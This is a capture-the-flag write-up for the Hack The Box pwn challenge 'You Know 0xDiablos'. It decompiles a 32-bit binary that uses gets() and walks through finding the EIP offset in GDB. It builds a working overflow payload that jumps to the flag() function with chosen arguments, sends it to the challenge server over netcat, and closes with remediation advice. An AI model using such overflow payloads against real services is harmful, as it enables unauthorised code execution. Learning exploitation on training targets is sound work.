You Know

Buffer overflow and local variable control

0xd4y

July 1, 2021

0xd4y Writeups

LinkedIn: https://www.linkedin.com/in/segev-eliezer/

Email: 0xd4yWriteups@gmail.com

Web: https://0xd4y.github.io/

Table of Contents

Executive Summary

The binary in question was provided within a zip file. The source code of the program was not given, and analysis was performed using Ghidra for static analysis and GDB for dynamic analysis. Due to the usage of the vulnerable `gets()` function which fails to perform boundary checks, the program is vulnerable to buffer overflow exploits.

Attack Narrative

The IP and port on which the vulnerable binary runs is given:

IP	Port
159.65.54.50	31449

Other than this information, no other data is provided.

Binary Analysis

Before attempting to execute the binary, is it essential to first analyze how it works.

Behavior

Upon executing the binary, the user is prompted with an input:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/love]
└──╼ $./vuln
You know who are 0xDiablos:
test
test
```

Whatever string the user inputs, the same input gets printed back out. To analyze how this binary works, tools such as GDB[1] (for dynamic analysis) and Ghidra[2] (for static analysis) are used throughout this report.

Ghidra

Many different programs can be used for static analysis, however Ghidra, a tool created by the NSA, is utilized throughout this report because of its capability to translate assembly code into C code for easier analysis. Looking at the output of Ghidra, the following three functions are found:

[1] https://www.gnu.org/software/gdb/
[2] https://github.com/NationalSecurityAgency/ghidra

```c
undefined4 main(void)

{
  __gid_t __rgid;

  setvbuf(stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("You know who are 0xDiablos: ");
  vuln();
  return 0;
}
```

```c
void vuln(void)

{
  char local_bc [180];

  gets(local_bc);
  puts(local_bc);
  return;
}
```

```c
void flag(int param_1,int param_2)

{
  char local_50 [64];
  FILE *local_10;

  local_10 = fopen("flag.txt","r");
  if (local_10 != (FILE *)0x0) {
    fgets(local_50,0x40,local_10);
    if ((param_1 == -0x21524111) && (param_2 == -0x3f212ff3)) {
      printf(local_50);
    }
    return;
  }
  puts("Hurry up and try in on server side.");
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

Within `main()` the string `You know who are 0xDiablos:` is printed out before the `vuln()` function is executed. This function allocates 180 bytes to the buffer `local_bc` before the vulnerable `gets()` function is executed with `local_bc` as the argument. The `gets()` function is a deprecated function within C due to its inability to perform boundary checks on the user input. The manual for the function states to "Never use this function"[3].

The third function of the binary, namely `flag()`, was not called by either `main()` or `vuln()`. The `flag()` function checks if a file `flag.txt` exists. If it does, then it performs an if statement in which it compares the `param_1` and `param_2` to certain hex values. On condition that this if statement is true, the contents of `flag.txt` are read out.

GDB

Analysing this function through GDB helps in dissecting what the program is doing on the assembly level:

```
0x08049246 <+100>:   cmp    DWORD PTR [ebp+0x8],0xdeadbeef
0x0804924d <+107>:   jne    0x8049269 <flag+135>
0x0804924f <+109>:   cmp    DWORD PTR [ebp+0xc],0xc0ded00d
```

[3] https://man7.org/linux/man-pages/man3/gets.3.html

The aforementioned if statement compares the value of the base pointer + 8 to `0xdeadbeef` and the base pointer + 12 to `0xc0ded00d`. Therefore, a successful exploit will constitute the control of the foregoing base pointer addresses along with the overwriting of the EIP register to point to the `flag()` function.

Constructing Exploit

EIP Offset

The offset of the EIP register overwrite must first be determined. Within GDB, in order to provide an input to a program which prompts the user for a string, the desired string must first be echoed into a file. The contents of this file can then be run within the debugger. Hence, using the cyclic function, a pattern of 200 bytes was echoed into a file called `eip_overwrite` as follows:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/easy/windows/love]
└──╼ $cyclic 200 > eip_overwrite
```

The contents of this file are then piped into the program with `r < eip_overwrite`:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $gdb -q ./vuln
pwndbg: loaded 196 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
pwndbg> r < eip_overwrite
Starting program:
/home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln <
eip_overwrite
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaa
ataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
abnaaboaabpaabqaabraabs
aabtaabuaabvaabwaabxaabyaab
```

```
Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────
────────────────────────────[ REGISTERS
]──────────────────────────────────────────────────────────────────────────
──────────────────────────────
 EAX  0xc9
 EBX  0x62616175 ('uaab')
 ECX  0xffffffff
 EDX  0xffffffff
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂-- insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 EBP  0x62616176 ('vaab')
 ESP  0xffffd020 ◂-- 'xaabyaab'
 EIP  0x62616177 ('waab')
───────────────────────────────────────────────────────────────────────────
──────────────────────────────[ DISASM
]──────────────────────────────────────────────────────────────────────────
────────────────────────────────
Invalid address 0x62616177
```

The EIP register was successfully overwritten, and the offset can now be calculated with `cyclic -l 0x62616177`:

```
pwndbg> cyclic -l 0x62616177
188
```

Thus, 188 bytes can be passed into the buffer before the EIP register is overwritten.

Flag() Debug

With the EIP register successfully overwritten, the next step is to control it such that it points to the `flag()` function. Before determining where this function lies in memory, it is imperative to first establish that this binary is in little endian format:

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know
```

```
]
└──╼ $file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically
linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=ab7f19bb67c16ae453d4959fba4e6841d930a6dd, for GNU/Linux
3.2.0, not stripped
```

After finding out that this binary is an LSB executable, the next step is to discover where `flag()` is in memory. This can be done with the `info functions` command within GDB:

```
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x08049000  _init
0x08049030  printf@plt
0x08049040  gets@plt
0x08049050  fgets@plt
0x08049060  getegid@plt
0x08049070  puts@plt
0x08049080  exit@plt
0x08049090  __libc_start_main@plt
0x080490a0  setvbuf@plt
0x080490b0  fopen@plt
0x080490c0  setresgid@plt
0x080490d0  _start
0x08049110  _dl_relocate_static_pie
0x08049120  __x86.get_pc_thunk.bx
0x08049130  deregister_tm_clones
0x08049170  register_tm_clones
0x080491b0  __do_global_dtors_aux
0x080491e0  frame_dummy
0x080491e2  flag
0x08049272  vuln
0x080492b1  main
0x08049330  __libc_csu_init
0x08049390  __libc_csu_fini
0x08049391  __x86.get_pc_thunk.bp
0x08049398  _fini
```

Note the functions of interest which are in red

Flag() is at `0x080491e2` which in little endian byte format is `\xe2\x91\x04\x08`. Therefore, upon inputting a string of 188 bytes followed by the address of the flag, the program should call the function:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $python -c "print 'A'*188 + '\xe2\x91\x04\x08'" > eip_flag
```

Before running this malicious string, recall that the program exits if the file `flag.txt` does not exist. This file was simply created using the `touch` command as follows:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $touch flag.txt
```

The comparison within the function in question starts at flag+100 (or `0x08049246`). This can be found using the `disass` (short for disassemble) command within GDB:

```
pwndbg> disass flag
Dump of assembler code for function flag:
   0x080491e2 <+0>:     push   ebp
   0x080491e3 <+1>:     mov    ebp,esp
   0x080491e5 <+3>:     push   ebx
   0x080491e6 <+4>:     sub    esp,0x54
   0x080491e9 <+7>:     call   0x8049120 <__x86.get_pc_thunk.bx>
   0x080491ee <+12>:    add    ebx,0x2e12
   0x080491f4 <+18>:    sub    esp,0x8
   0x080491f7 <+21>:    lea    eax,[ebx-0x1ff8]
   0x080491fd <+27>:    push   eax
   0x080491fe <+28>:    lea    eax,[ebx-0x1ff6]
   0x08049204 <+34>:    push   eax
   0x08049205 <+35>:    call   0x80490b0 <fopen@plt>
   0x0804920a <+40>:    add    esp,0x10
   0x0804920d <+43>:    mov    DWORD PTR [ebp-0xc],eax
   0x08049210 <+46>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x08049214 <+50>:    jne    0x8049232 <flag+80>
   0x08049216 <+52>:    sub    esp,0xc
   0x08049219 <+55>:    lea    eax,[ebx-0x1fec]
   0x0804921f <+61>:    push   eax
   0x08049220 <+62>:    call   0x8049070 <puts@plt>
   0x08049225 <+67>:    add    esp,0x10
```

```
   0x08049228 <+70>:    sub    esp,0xc
   0x0804922b <+73>:    push   0x0
   0x0804922d <+75>:    call   0x8049080 <exit@plt>
   0x08049232 <+80>:    sub    esp,0x4
   0x08049235 <+83>:    push   DWORD PTR [ebp-0xc]
   0x08049238 <+86>:    push   0x40
   0x0804923a <+88>:    lea    eax,[ebp-0x4c]
   0x0804923d <+91>:    push   eax
   0x0804923e <+92>:    call   0x8049050 <fgets@plt>
   0x08049243 <+97>:    add    esp,0x10
   0x08049246 <+100>:   cmp    DWORD PTR [ebp+0x8],0xdeadbeef
   0x0804924d <+107>:   jne    0x8049269 <flag+135>
   0x0804924f <+109>:   cmp    DWORD PTR [ebp+0xc],0xc0ded00d
   0x08049256 <+116>:   jne    0x804926c <flag+138>
   0x08049258 <+118>:   sub    esp,0xc
   0x0804925b <+121>:   lea    eax,[ebp-0x4c]
   0x0804925e <+124>:   push   eax
   0x0804925f <+125>:   call   0x8049030 <printf@plt>
   0x08049264 <+130>:   add    esp,0x10
   0x08049267 <+133>:   jmp    0x804926d <flag+139>
   0x08049269 <+135>:   nop
   0x0804926a <+136>:   jmp    0x804926d <flag+139>
   0x0804926c <+138>:   nop
   0x0804926d <+139>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x08049270 <+142>:   leave
   0x08049271 <+143>:   ret
End of assembler dump.
```

Prior to piping the contents of `eip_flag` into the binary, a breakpoint was set at `0x08049246` to allow further investigation into the EBP register.

```
pwndbg> b *0x08049246
Breakpoint 1 at 0x8049246
```

Finally, the malicious string can be run:

```
pwndbg> r < eip_flag
Starting program:
/home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln <
eip_flag
```

```
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08049246 in flag ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────[ REGISTERS
]────────────────────────────────────────────────
 EAX  0x0
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— add
dword ptr [eax], eax
 ECX  0x0
 EDX  0xfbad2498
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 EBP  0xffffd01c ◂— 'AAAA'
 ESP  0xffffcfc4 ◂— 0x41414141 ('AAAA')
 EIP  0x8049246 (flag+100) ◂— cmp    dword ptr [ebp + 8], 0xdeadbeef
```

As expected, the breakpoint at flag+100 was hit. Looking at `ebp+0x8`, it can be observed that it was not overwritten:

```
pwndbg> x/x $ebp+0x8
0xffffd024:     0xffffd0f4
```

Upon looking at the first 16 bytes of the EBP register, an interesting circumstance can be noticed:

```
pwndbg> x/4x $ebp
0xffffd01c:     0x41414141      0x00000000      0xffffd0f4      0xffffd0fc
```

At exactly $ebp, the junk bytes that are present in the malicious string can be seen. Following that is a succession of eight zeroes followed by the value of $ebp+0x8 and $ebp+0xc. This succession of zeroes is particularly interesting as it is not clear what it relates to. Modifying the malicious string by adding four B's to the end of it and piping it into the program ,reveals an interesting behavior within the binary:

```
┌─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know]
└──╼ $python -c "print 'A'*188 + '\xe2\x91\x04\x08'+'BBBB'" > eip_flag

pwndbg> r < eip_flag
Starting program:
/home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln <
eip_flag
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAABBBB

Breakpoint 1, 0x08049246 in flag ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────────
 EAX  0x0
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— add
dword ptr [eax], eax
 ECX  0x0
 EDX  0xfbad2498
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 EBP  0xffffd01c ◂— 'AAAABBBB'
 ESP  0xffffcfc4 ◂— 0x41414141 ('AAAA')
 EIP  0x8049246 (flag+100) ◂— cmp    dword ptr [ebp + 8], 0xdeadbeef
```

Now, looking at the EBP register, observe the value at $ebp+0x4:

```
pwndbg> x/4x $ebp
0xffffd01c:     0x41414141      0x42424242      0xffffd000      0xffffd0fc
```

Thus, $ebp+0x8 and $ebp+0xc can now successfully be controlled by appending 0xdeadbeef and 0xc0ded00d in little endian byte format (`\xef\xbe\xad\xde` and `\x0d\xd0\xde\xc0` respectively).

Exploit

Therefore, the final exploit will take the following form:

```
JUNK_BYTE*188 + ADDRESS_OF_FLAG + JUNK2_BYTE*4 + DEADBEEF + C0DED00D
```

Where:

JUNK_BYTE = A

JUNK2_BYTE = B

ADDRESS_OF_FLAG = \xe2\x91\x04\x08

DEADBEEF = \xef\xbe\xad\xde

C0DED00D = \x0d\xd0\xde\xc0

Piping the contents of `eip_flag` into the binary and checking the EBP register, it can be seen that ebp+0x8 and ebp+0xc were successfully controlled.

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_kno
w]
└──╼ $python -c "print 'A'*188 +
'\xe2\x91\x04\x08'+'BBBB'+'\xef\xbe\xad\xde'+'\x0d\xd0\xde\xc0'" > eip_flag

pwndbg> r < eip_flag
[4/579]
Starting program:
/home/0xd4y/business/hackthebox/challenges/pwn/easy/you_know/vuln <
eip_flag
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABBBB

Breakpoint 1, 0x08049246 in flag ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
```

```
────────────────────────────────────────────────[ REGISTERS
]─────────────────────────────────────────────────
 EAX  0x0
 EBX  0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf10 (_DYNAMIC) ◂— add
dword ptr [eax], eax
 ECX  0x0
 EDX  0xfbad2498
 EDI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 ESI  0xf7fa6000 (_GLOBAL_OFFSET_TABLE_) ◂— insb   byte ptr es:[edi], dx
/* 0x1e4d6c */
 EBP  0xffffd01c ◂— 0x41414141 ('AAAA')
 ESP  0xffffcfc4 ◂— 0x41414141 ('AAAA')
 EIP  0x8049246 (flag+100) ◂— cmp    dword ptr [ebp + 8], 0xdeadbeef
──────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────
 ► 0x8049246 <flag+100>    cmp    dword ptr [ebp + 8], 0xdeadbeef
   0x804924d <flag+107>    jne    flag+135 <flag+135>

   0x804924f <flag+109>    cmp    dword ptr [ebp + 0xc], 0xc0ded00d
   0x8049256 <flag+116>    jne    flag+138 <flag+138>

   0x8049258 <flag+118>    sub    esp, 0xc
   0x804925b <flag+121>    lea    eax, [ebp - 0x4c]
   0x804925e <flag+124>    push   eax
   0x804925f <flag+125>    call   printf@plt <printf@plt>

   0x8049264 <flag+130>    add    esp, 0x10
   0x8049267 <flag+133>    jmp    flag+139 <flag+139>

   0x8049269 <flag+135>    nop
──────────────────────────────────────────────[ STACK
]───────────────────────────────────────────────
00:0000│ esp 0xffffcfc4 ◂— 0x41414141 ('AAAA')
────────────────────────────────────────────[ BACKTRACE
]────────────────────────────────────────────
 ► f 0 0x8049246 flag+100
   f 1 0x42424242
   f 2 0xdeadbeef
   f 3 0xc0ded00d
   f 4     0x300
```

```
pwndbg> x/4x $ebp
0xffffd01c:     0x41414141      0x42424242      0xdeadbeef      0xc0ded00d
```

Consequently, the if statement discussed earlier in the [Ghidra](#) section will run true. After piping the malicious string into netcat, the `flag.txt` file located within the server is printed out.

```
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/challenges/pwn/easy/you_know
]
└──╼ $nc 159.65.54.50 31449 < eip_flag
You know who are 0xDiablos:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBᆳ
HTB{0ur_Buff3r_1s_not_healthy}┌─[0xd4y@Writeup]─[~/business/hackthebox/cha
llenges/pwn/easy/you_know]
└──╼ $
```

Conclusion

The binary in question was vulnerable to a buffer overflow attack due to the lack of boundary checks performed on user input. The deprecated `gets()` function was used within the binary despite the security warnings that are associated with it. As a result, memory could be overwritten resulting in behavior that the binary was not written to perform. The following remediations should be strongly considered:

- Never use the deprecated `gets()` function
  - Usage of this function creates the possibility for security risks that could allow malicious actors to run arbitrary code
- Use the secure `fgets()` function
  - This function reads user input until a newline character is found or until the buffer gets filled

The aforementioned remediations should be observed as soon as possible. Until this binary is patched, the service running on port 31449 should be disabled.